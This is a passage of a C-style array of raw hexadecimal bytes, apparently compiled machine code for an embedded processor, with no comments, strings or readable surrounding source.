0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbe, 0x52, 0xff, 0xa0,
0x10, 0xbd, 0x00, 0x00,
0x12, 0xf7, 0xb0, 0x00,
0x32, 0x73, 0x00, 0x01,
0xfb, 0x45, 0x00, 0x00,
0xfa, 0xc5, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbc, 0xb2, 0x00, 0x10,
0xbe, 0x37, 0x06, 0x24,
0x10, 0xbe, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0xe8, 0x61, 0x06, 0xac,
0x16, 0x5c, 0x18, 0x01,
0xbc, 0xb2, 0x00, 0x08,
0x10, 0x7c, 0x00, 0x00,
0xe8, 0x81, 0x06, 0xb0,
0x10, 0x84, 0x18, 0x00,
0xf8, 0x81, 0x06, 0xb0,
0xbe, 0x37, 0x02, 0x84,
0x10, 0xbe, 0x00, 0x00,
0xe8, 0xa1, 0x06, 0x90,
0x12, 0x60, 0x00, 0x00,
0xfa, 0x61, 0x00, 0x58,
0xbe, 0x05, 0x00, 0x1c,
0x13, 0x1d, 0x00, 0x00,
0x10, 0xc5, 0x00, 0x00,
0xe8, 0xa1, 0x06, 0xf0,
0xfa, 0x61, 0x06, 0x90,
0xb9, 0xf4, 0x53, 0x80,
0x80, 0x00, 0x00, 0x00,
0xeb, 0x41, 0x06, 0x80,
0xb8, 0x00, 0xfb, 0x14,
0x32, 0x40, 0x00, 0x65,
0x16, 0x5b, 0x90, 0x01,
0xbc, 0xb2, 0x02, 0x88,
0xe8, 0xa1, 0x06, 0x88,
0xe8, 0xc1, 0x06, 0x8c,
0x10, 0xe0, 0x00, 0x00,
0x11, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0xbd, 0xfc,
0x80, 0x00, 0x00, 0x00,
0xbe, 0x23, 0x03, 0xfc,
0x30, 0x80, 0x00, 0x01,
0xb0, 0x00, 0x00, 0x00,
0x30, 0x60, 0xff, 0xc8,
0x32, 0xf7, 0x00, 0x01,
0x32, 0x73, 0x00, 0x01,
0xf8, 0x78, 0x00, 0x00,
0xf8, 0x98, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0x14,
0x30, 0xb8, 0x00, 0x08,
0xbe, 0x37, 0x12, 0xc8,
0x10, 0xbd, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0xe8, 0x61, 0x00, 0x2c,
0xe8, 0xc1, 0x06, 0x9c,
0x16, 0x46, 0x18, 0x01,
0xbc, 0x52, 0x00, 0x10,
0xe8, 0x81, 0x06, 0xb4,
0xa4, 0x64, 0x00, 0x01,
0xbc, 0x03, 0xfe, 0x40,
0xea, 0x61, 0x00, 0x58,
0xe8, 0xc1, 0x06, 0xa4,
0x32, 0xf7, 0x00, 0x01,
0x32, 0x73, 0x00, 0x01,
0x30, 0x60, 0x00, 0x01,
0xf8, 0x65, 0x00, 0x04,
0xf8, 0xc5, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0x14,
0x30, 0xa5, 0x00, 0x08,
0xbe, 0x37, 0x0e, 0x9c,
0x10, 0xbd, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0xe8, 0x61, 0x06, 0x9c,
0x32, 0xc3, 0xff, 0xff,
0xbc, 0x76, 0xfd, 0xf4,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbc, 0xb2, 0x06, 0xe4,
0xea, 0x61, 0x00, 0x58,
0xb0, 0x00, 0x00, 0x01,
0x33, 0x40, 0x01, 0x3c,
0xb8, 0x10, 0x00, 0x24,
0x32, 0xf7, 0x00, 0x10,
0x10, 0xbd, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0x32, 0xd6, 0xff, 0xf0,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbc, 0xb2, 0x06, 0xc4,
0x32, 0xf7, 0x00, 0x10,
0x32, 0x73, 0x00, 0x01,
0x30, 0x60, 0x00, 0x10,
0xf8, 0x65, 0x00, 0x04,
0xfb, 0x45, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xff, 0xcc,
0x30, 0xa5, 0x00, 0x08,
0xbe, 0x17, 0xff, 0xbc,
0x12, 0x77, 0x00, 0x00,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x56, 0x1c,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0x01, 0x0c,
0x12, 0x77, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x9c,
0x10, 0xbd, 0x00, 0x00,
0xe8, 0xc1, 0x06, 0xac,
0x16, 0xdc, 0x30, 0x00,
0xbc, 0x76, 0xfc, 0x2c,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbc, 0xb2, 0x13, 0x58,
0xb0, 0x00, 0x00, 0x01,
0x33, 0x40, 0x01, 0x3c,
0xb8, 0x10, 0x00, 0x24,
0x32, 0xf7, 0x00, 0x10,
0x13, 0x1d, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0x32, 0xd6, 0xff, 0xf0,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbc, 0xb2, 0x00, 0x6c,
0x32, 0xf7, 0x00, 0x10,
0x32, 0x73, 0x00, 0x01,
0x30, 0x60, 0x00, 0x10,
0xf8, 0x78, 0x00, 0x04,
0xfb, 0x58, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xff, 0xcc,
0x33, 0x18, 0x00, 0x08,
0xbe, 0x17, 0xff, 0xbc,
0x12, 0x77, 0x00, 0x00,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x55, 0x80,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0x00, 0x70,
0x12, 0x77, 0x00, 0x00,
0x32, 0xd6, 0xff, 0xf0,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbe, 0x52, 0xff, 0xa0,
0x13, 0x1d, 0x00, 0x00,
0x12, 0xf7, 0xb0, 0x00,
0x32, 0x73, 0x00, 0x01,
0xfb, 0x58, 0x00, 0x00,
0xfa, 0xd8, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xfb, 0x6c,
0x33, 0x18, 0x00, 0x08,
0xbe, 0x37, 0x07, 0x88,
0x12, 0x77, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0xb8, 0x10, 0xfb, 0x58,
0x13, 0x1d, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x55, 0x14,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbc, 0x03, 0xfd, 0x70,
0xe8, 0xc1, 0x06, 0x90,
0xbc, 0x06, 0x00, 0x10,
0xe8, 0xa1, 0x06, 0xf0,
0xb9, 0xf4, 0x51, 0x00,
0x80, 0x00, 0x00, 0x00,
0xe4, 0x7e, 0x00, 0x0c,
0xa4, 0x63, 0x00, 0x40,
0xbe, 0x03, 0xf8, 0x1c,
0x30, 0x60, 0xff, 0xff,
0xf8, 0x61, 0x06, 0xb0,
0xb8, 0x00, 0xf8, 0x10,
0xe8, 0x61, 0x06, 0x9c,
0x32, 0x40, 0x00, 0x01,
0x16, 0x43, 0x90, 0x01,
0xbc, 0xb2, 0x05, 0x84,
0xe8, 0xa1, 0x06, 0xb8,
0x30, 0x60, 0x00, 0x2e,
0x32, 0xf7, 0x00, 0x02,
0xe0, 0x85, 0x00, 0x00,
0x32, 0x73, 0x00, 0x01,
0xf0, 0x61, 0x00, 0x29,
0xf0, 0x81, 0x00, 0x28,
0x30, 0x61, 0x00, 0x28,
0x30, 0x80, 0x00, 0x02,
0xf8, 0x78, 0x00, 0x00,
0xf8, 0x98, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0x18,
0x32, 0xd8, 0x00, 0x08,
0xbe, 0x37, 0x07, 0x04,
0x12, 0x77, 0x00, 0x00,
0x12, 0xdd, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0xe8, 0xa1, 0x06, 0x88,
0xe8, 0xc1, 0x06, 0x8c,
0x10, 0xe0, 0x00, 0x00,
0x11, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0xbb, 0xc8,
0x80, 0x00, 0x00, 0x00,
0xbc, 0x23, 0x02, 0x04,
0xe8, 0xc1, 0x06, 0x9c,
0x33, 0x06, 0xff, 0xff,
0xbc, 0x78, 0x02, 0x44,
0x32, 0x40, 0x00, 0x10,
0x16, 0x58, 0x90, 0x01,
0xbc, 0xb2, 0x14, 0xfc,
0xb0, 0x00, 0x00, 0x01,
0x33, 0x40, 0x01, 0x3c,
0xb8, 0x10, 0x00, 0x24,
0x32, 0xf7, 0x00, 0x10,
0x12, 0xdd, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0x33, 0x18, 0xff, 0xf0,
0x32, 0x40, 0x00, 0x10,
0x16, 0x58, 0x90, 0x01,
0xbc, 0xb2, 0x00, 0x6c,
0x32, 0xf7, 0x00, 0x10,
0x32, 0x73, 0x00, 0x01,
0x30, 0x60, 0x00, 0x10,
0xf8, 0x76, 0x00, 0x04,
0xfb, 0x56, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xff, 0xcc,
0x32, 0xd6, 0x00, 0x08,
0xbe, 0x17, 0xff, 0xbc,
0x12, 0x77, 0x00, 0x00,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x53, 0xd4,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xfe, 0xc4,
0x12, 0x77, 0x00, 0x00,
0x33, 0x18, 0xff, 0xf0,
0x32, 0x40, 0x00, 0x10,
0x16, 0x58, 0x90, 0x01,
0xbe, 0x52, 0xff, 0xa0,
0x12, 0xdd, 0x00, 0x00,
0x12, 0xf7, 0xc0, 0x00,
0x32, 0x73, 0x00, 0x01,
0xfb, 0x56, 0x00, 0x00,
0xfb, 0x16, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0x01, 0x84,
0x32, 0xd6, 0x00, 0x08,
0xb8, 0x00, 0x01, 0x6c,
0xe8, 0xa1, 0x06, 0xf0,
0xb9, 0xf4, 0x49, 0x18,
0x80, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xaa, 0x5e, 0x01, 0xa8,
0xbc, 0x32, 0xf5, 0xd0,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x04, 0xa4,
0xeb, 0xc3, 0x00, 0x00,
0xb8, 0x00, 0xf5, 0xd8,
0xb9, 0xf4, 0x25, 0x54,
0x10, 0xbe, 0x00, 0x00,
0xbe, 0x03, 0xf5, 0xe0,
0x30, 0x60, 0xff, 0xff,
0xb8, 0x00, 0xfe, 0x68,
0xe9, 0x21, 0x00, 0x2c,
0xbc, 0x69, 0x0c, 0xf4,
0xe8, 0xc1, 0x06, 0x9c,
0x16, 0x46, 0x48, 0x01,
0xbc, 0x52, 0x04, 0x2c,
0xe8, 0x61, 0x06, 0xb8,
0x12, 0xf7, 0x30, 0x00,
0x32, 0x73, 0x00, 0x01,
0xf8, 0x78, 0x00, 0x00,
0xf8, 0xd8, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0x52, 0x0a, 0xec,
0x30, 0xb8, 0x00, 0x08,
0xe8, 0x81, 0x06, 0x9c,
0x16, 0xc4, 0x48, 0x00,
0xbc, 0x76, 0x04, 0xd4,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbc, 0xb2, 0x05, 0x98,
0xea, 0x61, 0x00, 0x58,
0xb0, 0x00, 0x00, 0x01,
0x33, 0x40, 0x01, 0x3c,
0xb8, 0x10, 0x00, 0x24,
0x32, 0xf7, 0x00, 0x10,
0x10, 0xbd, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0x32, 0xd6, 0xff, 0xf0,
0x32, 0x40, 0x00, 0x10,
0x16, 0x56, 0x90, 0x01,
0xbc, 0xb2, 0x05, 0x78,
0x32, 0xf7, 0x00, 0x10,
0x32, 0x73, 0x00, 0x01,
0x30, 0x60, 0x00, 0x10,
0xf8, 0x65, 0x00, 0x04,
0xfb, 0x45, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xff, 0xcc,
0x30, 0xa5, 0x00, 0x08,
0xbe, 0x17, 0xff, 0xbc,
0x12, 0x77, 0x00, 0x00,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x52, 0x80,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xfd, 0x70,
0x12, 0x77, 0x00, 0x00,
0xb8, 0x10, 0xff, 0x9c,
0x10, 0xbd, 0x00, 0x00,
0xbe, 0x37, 0x04, 0x98,
0x13, 0x1d, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0xb8, 0x00, 0xf6, 0x68,
0xe8, 0xc1, 0x06, 0x9c,
0xe8, 0xa1, 0x06, 0xb8,
0x32, 0x73, 0x00, 0x01,
0x10, 0x66, 0xb8, 0x00,
0x32, 0xe3, 0xff, 0xff,
0x30, 0x85, 0x00, 0x01,
0x30, 0x66, 0xff, 0xff,
0xf8, 0x96, 0x00, 0x00,
0xf8, 0x76, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0x18,
0x32, 0xd6, 0x00, 0x08,
0xbe, 0x37, 0x05, 0x04,
0x12, 0x77, 0x00, 0x00,
0x12, 0xdd, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0xe8, 0x81, 0x06, 0xa0,
0x32, 0x73, 0x00, 0x01,
0x30, 0x61, 0x00, 0x3c,
0x12, 0xf7, 0x20, 0x00,
0xf8, 0x76, 0x00, 0x00,
0xf8, 0x96, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xf9, 0x3c,
0x30, 0xb6, 0x00, 0x08,
0xbe, 0x17, 0xf9, 0x30,
0x10, 0xbd, 0x00, 0x00,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x51, 0xc4,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xfc, 0xb4,
0x10, 0xbd, 0x00, 0x00,
0xb8, 0x00, 0xf9, 0x0c,
0xf8, 0x81, 0x06, 0xb0,
0xb8, 0x00, 0xf4, 0xc4,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x51, 0x9c,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbc, 0x03, 0xf9, 0xd4,
0xb8, 0x00, 0xfc, 0x88,
0xe8, 0x61, 0x06, 0xb4,
0xa0, 0x63, 0x00, 0x10,
0xf8, 0x61, 0x06, 0xb4,
0xe8, 0x81, 0x06, 0xb4,
0xa4, 0x64, 0x00, 0x20,
0xbe, 0x23, 0x04, 0xc8,
0xa4, 0x64, 0x00, 0x10,
0xbe, 0x23, 0x0c, 0xa0,
0x30, 0xda, 0x00, 0x04,
0xa4, 0x64, 0x00, 0x40,
0xbe, 0x03, 0x0c, 0x94,
0x30, 0xba, 0x00, 0x04,
0xf8, 0xa1, 0x06, 0x80,
0xe6, 0xda, 0x00, 0x02,
0x92, 0xd6, 0x00, 0x61,
0x02, 0xe0, 0xb0, 0x00,
0x02, 0xd7, 0xb8, 0x00,
0x0a, 0xc0, 0x00, 0x00,
0xbc, 0x16, 0x00, 0x08,
0x22, 0xc0, 0xff, 0xff,
0xb8, 0x10, 0x04, 0xa0,
0x30, 0x80, 0x00, 0x01,
0xe8, 0xc1, 0x06, 0xb4,
0xa0, 0xc6, 0x00, 0x10,
0xf8, 0xc1, 0x06, 0xb4,
0xe8, 0x81, 0x06, 0xb4,
0xa4, 0x64, 0x00, 0x20,
0xbe, 0x23, 0x04, 0x58,
0x10, 0xa4, 0x00, 0x00,
0xa4, 0x84, 0x00, 0x10,
0xbc, 0x24, 0x0c, 0x9c,
0xa4, 0x65, 0x00, 0x40,
0xbc, 0x03, 0x0c, 0x94,
0xe6, 0xfa, 0x00, 0x02,
0x33, 0x5a, 0x00, 0x04,
0xfb, 0x41, 0x06, 0x80,
0x32, 0xf7, 0x00, 0x00,
0x32, 0xc0, 0x00, 0x00,
0xb8, 0x00, 0x00, 0x34,
0xe8, 0x81, 0x06, 0xb4,
0xa0, 0x84, 0x00, 0x10,
0xf8, 0x81, 0x06, 0xb4,
0xe8, 0xa1, 0x06, 0xb4,
0xa4, 0x65, 0x00, 0x20,
0xbe, 0x03, 0x03, 0xec,
0xa4, 0x65, 0x00, 0x10,
0xea, 0xda, 0x00, 0x00,
0xea, 0xfa, 0x00, 0x04,
0x33, 0x5a, 0x00, 0x08,
0xfb, 0x41, 0x06, 0x80,
0x30, 0x80, 0x00, 0x01,
0xf0, 0x01, 0x00, 0x24,
0xe8, 0xa1, 0x06, 0xa8,
0xbe, 0x45, 0x08, 0xc8,
0x80, 0x76, 0xb8, 0x00,
0xe8, 0xc1, 0x06, 0xb4,
0xa4, 0xc6, 0xff, 0x7f,
0xf8, 0xc1, 0x06, 0xb4,
0xbc, 0x23, 0x08, 0xb4,
0xbe, 0x25, 0x08, 0xb0,
0x30, 0xa1, 0x02, 0x80,
0xf8, 0xa1, 0x06, 0xb8,
0xbc, 0x24, 0x00, 0x20,
0xe8, 0xc1, 0x06, 0xb4,
0xa4, 0x66, 0x00, 0x01,
0xbe, 0x03, 0x00, 0x14,
0x30, 0x60, 0x00, 0x30,
0x30, 0xa1, 0x02, 0x7f,
0xf0, 0x61, 0x02, 0x7f,
0xf8, 0xa1, 0x06, 0xb8,
0xe8, 0xc1, 0x06, 0xb8,
0xeb, 0x81, 0x06, 0xa8,
0x14, 0x66, 0x08, 0x00,
0x33, 0x23, 0x02, 0x80,
0x16, 0x59, 0xe0, 0x01,
0xbc, 0xb2, 0x00, 0x08,
0x13, 0x99, 0x00, 0x00,
0xe8, 0x61, 0x06, 0xa8,
0xf8, 0x61, 0x06, 0x98,
0xe0, 0x61, 0x00, 0x24,
0xbc, 0x03, 0xf4, 0xe0,
0xb8, 0x10, 0xf4, 0xec,
0x33, 0x9c, 0x00, 0x01,
0x13, 0x48, 0x00, 0x00,
0x14, 0xa5, 0x00, 0x00,
0xf8, 0xa1, 0x06, 0xac,
0xe8, 0xc1, 0x06, 0xb4,
0xe0, 0x7f, 0x00, 0x00,
0xa0, 0xc6, 0x00, 0x04,
0xf8, 0xc1, 0x06, 0xb4,
0xb8, 0x10, 0xf4, 0x6c,
0x93, 0x63, 0x00, 0x60,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x50, 0x0c,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xfa, 0xfc,
0x12, 0x77, 0x00, 0x00,
0xb8, 0x10, 0xf6, 0x20,
0x13, 0x1d, 0x00, 0x00,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x4f, 0xe4,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xfa, 0xd4,
0x12, 0x77, 0x00, 0x00,
0xb8, 0x10, 0xf6, 0xe4,
0x13, 0x1d, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x04, 0xa4,
0xeb, 0xc3, 0x00, 0x04,
0xb8, 0x00, 0xf2, 0x38,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x04, 0xa4,
0xeb, 0xc3, 0x00, 0x08,
0xb8, 0x00, 0xf2, 0x28,
0xea, 0x61, 0x00, 0x58,
0xb0, 0x00, 0x00, 0x01,
0x33, 0x40, 0x01, 0x3c,
0x12, 0xf7, 0xb0, 0x00,
0x32, 0x73, 0x00, 0x01,
0xfb, 0x45, 0x00, 0x00,
0xfa, 0xc5, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xf6, 0xd8,
0x30, 0xa5, 0x00, 0x08,
0xb8, 0x00, 0xf6, 0xc0,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x4f, 0x64,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xfa, 0x54,
0x12, 0x77, 0x00, 0x00,
0xb8, 0x10, 0xf5, 0x30,
0x13, 0x1d, 0x00, 0x00,
0xe8, 0x81, 0x06, 0xb4,
0xa4, 0x64, 0x00, 0x01,
0xbc, 0x23, 0xfa, 0x78,
0xe8, 0x61, 0x06, 0xb8,
0x32, 0xf7, 0x00, 0x01,
0x32, 0x73, 0x00, 0x01,
0xf8, 0x78, 0x00, 0x00,
0x30, 0x60, 0x00, 0x01,
0xf8, 0x78, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xfd, 0x0c,
0x32, 0xd8, 0x00, 0x08,
0xb8, 0x00, 0xfc, 0xf4,
0xe8, 0x61, 0x06, 0xb8,
0x12, 0xf7, 0x48, 0x00,
0x32, 0x73, 0x00, 0x01,
0xf8, 0x78, 0x00, 0x00,
0xf9, 0x38, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0x18,
0x30, 0xb8, 0x00, 0x08,
0xbe, 0x37, 0x0d, 0x38,
0x12, 0x77, 0x00, 0x00,
0x10, 0xbd, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0xb0, 0x00, 0x00, 0x00,
0x30, 0x60, 0xff, 0xcc,
0x32, 0xf7, 0x00, 0x01,
0x32, 0x73, 0x00, 0x01,
0x30, 0x80, 0x00, 0x01,
0xf8, 0x65, 0x00, 0x00,
0xf8, 0x85, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x30, 0xe5, 0x00, 0x08,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0x00, 0x18,
0x12, 0xc9, 0x00, 0x00,
0xbe, 0x37, 0x0c, 0xc4,
0x12, 0x77, 0x00, 0x00,
0x10, 0xfd, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0xe8, 0xa1, 0x06, 0x9c,
0xe8, 0xc1, 0x06, 0xb8,
0x32, 0x73, 0x00, 0x01,
0x14, 0x89, 0x28, 0x00,
0x10, 0x76, 0x30, 0x00,
0x12, 0xf7, 0x20, 0x00,
0xf8, 0x67, 0x00, 0x00,
0xf8, 0x87, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xf5, 0xb0,
0x30, 0xa7, 0x00, 0x08,
0xb8, 0x00, 0xf5, 0x98,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x4e, 0x3c,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xf9, 0x2c,
0x10, 0xbd, 0x00, 0x00,
0xe8, 0xc1, 0x06, 0xb4,
0xa4, 0x66, 0x00, 0x01,
0xbe, 0x03, 0xf5, 0x84,
0xa4, 0x66, 0x00, 0x04,
0xea, 0x61, 0x00, 0x58,
0xb0, 0x00, 0x00, 0x00,
0x30, 0x60, 0xff, 0xcc,
0x32, 0xf7, 0x00, 0x01,
0x32, 0x73, 0x00, 0x01,
0x30, 0x80, 0x00, 0x01,
0xf8, 0x65, 0x00, 0x00,
0xf8, 0x85, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xf5, 0x44,
0x30, 0xa5, 0x00, 0x08,
0xb8, 0x00, 0xf5, 0x2c,
0xb0, 0x00, 0x00, 0x01,
0x33, 0x40, 0x01, 0x3c,
0xb8, 0x10, 0xf4, 0xb4,
0x12, 0xf7, 0xb0, 0x00,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x4d, 0xc0,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xf8, 0xc4,
0x13, 0x1d, 0x00, 0x00,
0xb8, 0x00, 0xf1, 0xbc,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x4d, 0x9c,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xf8, 0x8c,
0x12, 0x77, 0x00, 0x00,
0xb8, 0x10, 0xf3, 0xbc,
0x13, 0x1d, 0x00, 0x00,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x4d, 0x74,
0x12, 0xe0, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0xe1, 0x00, 0x58,
0xbe, 0x23, 0xf8, 0x64,
0x12, 0x77, 0x00, 0x00,
0xb8, 0x10, 0xf8, 0xec,
0x12, 0xdd, 0x00, 0x00,
0xea, 0x61, 0x00, 0x58,
0xb0, 0x00, 0x00, 0x01,
0x33, 0x40, 0x01, 0x3c,
0x12, 0xf7, 0xb0, 0x00,
0x32, 0x73, 0x00, 0x01,
0xfb, 0x45, 0x00, 0x00,
0xfa, 0xc5, 0x00, 0x04,
0xfa, 0xe1, 0x00, 0x5c,
0xfa, 0x61, 0x00, 0x58,
0x32, 0x40, 0x00, 0x07,
0x16, 0x53, 0x90, 0x01,
0xbe, 0xb2, 0xff, 0x04,
0x30, 0xa5, 0x00, 0x08,
0xbe, 0x37, 0xfe, 0xdc,
0x10, 0xbd, 0x00, 0x00,
0xfa, 0xe1, 0x00, 0x58,
0xb8, 0x00, 0xfe, 0xf0,
0x10, 0xbe, 0x00, 0x00,
0x30, 0xc1, 0x00, 0x54,
0xb9, 0xf4, 0x4d, 0x08,
